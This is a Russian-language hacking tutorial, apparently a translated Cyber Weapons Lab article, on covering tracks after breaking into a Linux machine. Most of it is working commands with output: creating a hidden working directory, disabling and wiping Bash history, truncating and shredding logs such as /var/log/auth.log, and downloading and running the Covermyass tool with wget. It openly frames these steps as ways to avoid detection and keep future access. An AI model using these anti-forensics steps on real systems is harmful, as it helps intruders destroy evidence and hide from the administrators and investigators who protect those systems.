Заметаем следы вместе с хакерами. Чистим логи и историю Bash на взломанных Linux системах

Заметаем следы вместе с хакерами. Чистим логи и историю Bash на взломанных Linux системах

Последним этапом деятельности любого хакера является заметание следов.

Автор: DRD_, Cyber Weapons Lab

Последним этапом деятельности любого хакера является заметание следов. Киберпреступник удаляет следы своей деятельности и логи, чтобы избежать обнаружения. Данный этап особенно важен, если злоумышленник в будущем планирует снова получить доступ к целевому устройству.

Для демонстрации основ заметания следов, сначала скомпрометируем цель, а затем изучим несколько методов, используемых для удаления истории Bash и очистки логов после взлома Linux систем.

Шаг 1. Скомпрометируйте цель

Первое, что нам следует сделать, - взломать цель. Используя некорректную обработку сервером команд ОС, можно применить внедрение команд, для получения оболочки. Затем нашу новую оболочку необходимо обновить до полностью интерактивной. Данная процедура значительно упростит работу. После этого мы сможем повысить наши привилегии до root, чтобы наилучшим образом использовать преимущества системы и оставаться незамеченными.

Шаг 2. Создайте легко удаляемый скрытый каталог

Получив root-доступ, мы можем создать скрытый каталог для работы и хранить в нем любые скрипты или файлы. С одной стороны, подобные манипуляции обманут лишь самого начинающего администратора, но дополнительный уровень защиты определенно не повредит. Во-первых, давайте найдем все доступные для записи каталоги с помощью следующей команды:

root@target:/# find / -perm -222 -type d 2>/dev/null

/dev/shm
/var/lock
/var/lib/php5
/var/tmp
/var/www/dav
/var/www/twiki/data/Sandbox
/var/www/twiki/data/Main
/var/www/twiki/data/Know
/var/www/twiki/data/TWiki
/var/www/twiki/data/_default
/var/www/twiki/data/Trash
/var/www/twiki/pub/Sandbox
/var/www/twiki/pub/Main
/var/www/twiki/pub/Know
/var/www/twiki/pub/Know/IncorrectDllVersionW32PTH10DLL
/var/www/twiki/pub/TWiki
/var/www/twiki/pub/TWiki/TWikiDocGraphics
/var/www/twiki/pub/TWiki/TWikiTemplates
/var/www/twiki/pub/TWiki/TWikiLogos
/var/www/twiki/pub/TWiki/PreviewBackground
/var/www/twiki/pub/TWiki/FileAttachment
/var/www/twiki/pub/TWiki/WabiSabi
/var/www/twiki/pub/Trash
/var/www/twiki/pub/icn
/tmp
/tmp/.ICE-unix
/tmp/.X11-unix

С помощью команды mkdir можно создать скрытый каталог, добавив точку к имени:

root@target:/# mkdir /dev/shm/.secret

Зададим команду перечисления содержимого /dev/shm. Как видим, ничего не появилось:

root@target:/# ls -l /dev/shm/

total 0

Каталог появляется лишь тогда, когда мы используем переключатель -a для вывода списка всех файлов и каталогов:

root@target:/# ls -la /dev/shm/

total 0
drwxrwxrwt  3 root root    60 2019-06-19 13:49 .
drwxr-xr-x 13 root root 13480 2019-06-19 13:41 ..
drwxr-xr-x  2 root root    40 2019-06-19 13:49 .secret

Для удаления каталога после завершения работы на машине, используйте команду rmdir :

root@target:/# rmdir /dev/shm/.secret/

Шаг 3. Удалите историю Bash

Bash хранит в памяти список команд, используемых в текущем сеансе, поэтому его обязательно нужно очистить, чтобы замести следы. Просмотрим текущую историю с помощью команды history:
root@target:/# history

    1  cd /
    2  ls
    3  find / -perm -222 -type d 2>/dev/null
    4  cd /dev/shm/
    5  cd /
    6  mkdir /dev/shm/.secret
    7  ls -l /dev/shm/
    8  ls -la /dev/shm/
    9  ls
   10  rmdir /dev/shm/.secret/
   11  history

Команды записываются в переменную среды HISTFILE, обычно это .bash_history. Воспользуемся echo для определения местоположения:

root@target:/# echo $HISTFILE
/root/.bash_history 

Используем команду unset для удаления переменной:

root@target:/# unset HISTFILE

Повторив процедуру снова, видим, что ничего не появляется:

root@target:/# echo $HISTFILE

Чтобы история команд не сохранялась, также можно ее отправить в /dev/null. Для этого установите переменную:

root@target:/# HISTFILE=/dev/null 

Или сделайте то же самое с командой экспорта:

root@target:/# export HISTFILE=/dev/null  

История теперь будет отправлена в /dev/null (то есть никуда):

root@target:/# echo $HISTFILE

/dev/null

Установите количество команд, которые будут сохраняться во время текущего сеанса, равным 0, используя переменную HISTSIZE:

root@target:/# HISTSIZE=0

В качестве альтернативы используйте команду экспорта:

root@target:/# export HISTSIZE=0 

Измените количество строк, разрешенных в файле истории, с помощью переменной HISTFILESIZE. Установите данное значение на 0:

root@target:/# HISTFILESIZE=0

Или с экспортом:

root@target:/# export HISTFILESIZE=0

Для изменения параметров оболочки также можно использовать команду set. Чтобы отключить опцию истории, используйте следующую команду:

root@target:/# set +o history

Снова включите ее:

root@target:/# set -o history

Точно так же для изменения параметров оболочки можно использовать команду shopt. Чтобы отключить историю, используйте следующую команду:

root@target:/# shopt -ou history

Снова включите ее:

root@target:/# shopt -os history

Во время выполнения команд на целевой системе иногда получается избежать их сохранения в истории, запустив команду с начального пробела:

root@target:~#  cat /etc/passwd

Данный метод работает не всегда и зависит от системы. Также можно просто очистить историю с помощью переключателя -c :

root@target:~# history -c

Чтобы убедиться, что изменения записаны на диск, используйте переключатель -w :

root@target:~# history -w

Данные действия очистят историю только для текущего сеанса. Чтобы окончательно убедиться, что история очищается при выходе из сеанса, пригодится следующая команда:

root@target:/# cat /dev/null > ~/.bash_history && history -c && exit

Также можно использовать команду kill для выхода из сеанса без сохранения истории:

root@target:/# kill -9 $$

Шаг4. Очистите файлы журнала

В дополнение к истории Bash также требуется почистить логи, чтобы оставаться незамеченными. Вот некоторые общие файлы журналов и их содержимое:
  • /var/log/auth.log Аутентификация
  • /var/log/cron.log Cron задачи
  • / var / log / maillog Почта
  • / var / log / httpd Apache

Конечно, можно просто удалить журнал с помощью команды rm :

root@target:/# rm /var/log/auth.log 

Но скорее всего, данная процедура вызовет многочисленные красные флажки. Поэтому лучше сделать файл пустым, чем стирать его полностью. Используем команду truncate, чтобы уменьшить размер файла до 0:

root@target:/# truncate -s 0 /var/log/auth.log

Обратите внимание, функция усечения присутствует не всегда и не во всех системах.

То же самое можно сделать, отображая в файл “ничего”:

root@target:/# echo '' > /var/log/auth.log 

А также использовать > сам по себе для очистки файла:

root@target:/# > /var/log/auth.log

Мы также можем отправить его в /dev/null:

root@target:/# cat /dev/null > /var/log/auth.log

Или использовать команду tee :

root@target:/# true | tee /var/log/auth.log

Также можно использовать команду dd, чтобы ничего не записывать в файл журнала:

root@target:/# dd if=/dev/null of=/var/log/auth.log

0+0 records in
0+0 records out
0 bytes (0 B) copied, 6.1494e-05 s, 0.0 kB/s

Команда shred может быть использована, чтобы поверх перезаписать файл с бессмысленными двоичными данными:

root@target:/# shred /var/log/auth.log

Дополнительно добавив -zu, вы обрежете файл и перезапишете его нулями:

root@target:/# shred -zu /var/log/auth.log

Шаг 5. Используйте специальный инструмент для наилучшего сокрытия следов

Для минимизации вероятности вашего обнаружения рекомендуем воспользоваться специальным скриптом. Скрипт Covermyass автоматизирует процессы, рассмотренные нами ранее, включая очистку файлов журнала и отключение истории Bash. Если на целевом устройстве имеется доступ к Интернету, можно загрузить скрипт из GitHub с помощью wget. (В противном случае скрипт придется перенести вручную):
root@target:/# wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass 

Перейдите в каталог с возможностью записи и используйте chmod, чтобы сделать его исполняемым:

root@target:/tmp# chmod +x covermyass 

Затем запустите его:

root@target:/tmp# ./covermyass

Welcome to Cover my ass tool !

Select an option :

1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool

>

Нам предоставляется настраиваемая подсказка с несколькими вариантами на выбор. Выберем первый, чтобы очистить логи:

> 1

[+] /var/log/messages cleaned.
[+] /var/log/auth.log cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.

Reminder: your need to reload the session to see effects.
Type exit to do so.  

Также можно отключить Bash и историю авторизации с помощью опции 2:

> 2

[+] Permanently sending /var/log/auth.log to /dev/null
[+] Permanently sending bash_history to /dev/null
[+] Set HISTFILESIZE & HISTSIZE to 0
[+] Disabled history library

Permenently disabled bash log. 

Если вам нужно срочно все очистить, просто добавьте в команду now:

root@target:/tmp# ./covermyass now

[+] /var/log/messages cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.

Reminder: your need to reload the session to see effects.
Type exit to do so.

Заключение

Сегодня мы изучили различные методы, используемые для заметания следов на взломанной машине. Мы рассмотрели способы отключения и удаления истории Bash, методы очистки логов и использовали инструмент Covermyass для гарантии того, что наша активность на целевом устройстве действительно была удалена.

Отмечу, что существуют и другие способы удаления следов атаки. Можно использовать Metasploit , сценарии оболочки или осуществить сокрытие следов на взломанной Windows системе. Тем не менее информации, приведенной в статье, вполне достаточно для сокрытия активности на базовом Linux компьютере.

Мы нашли признаки жизни...в вашем смартфоне!

Наш канал — питательная среда для вашего интеллекта

Эволюционируйте вместе с нами — подпишитесь!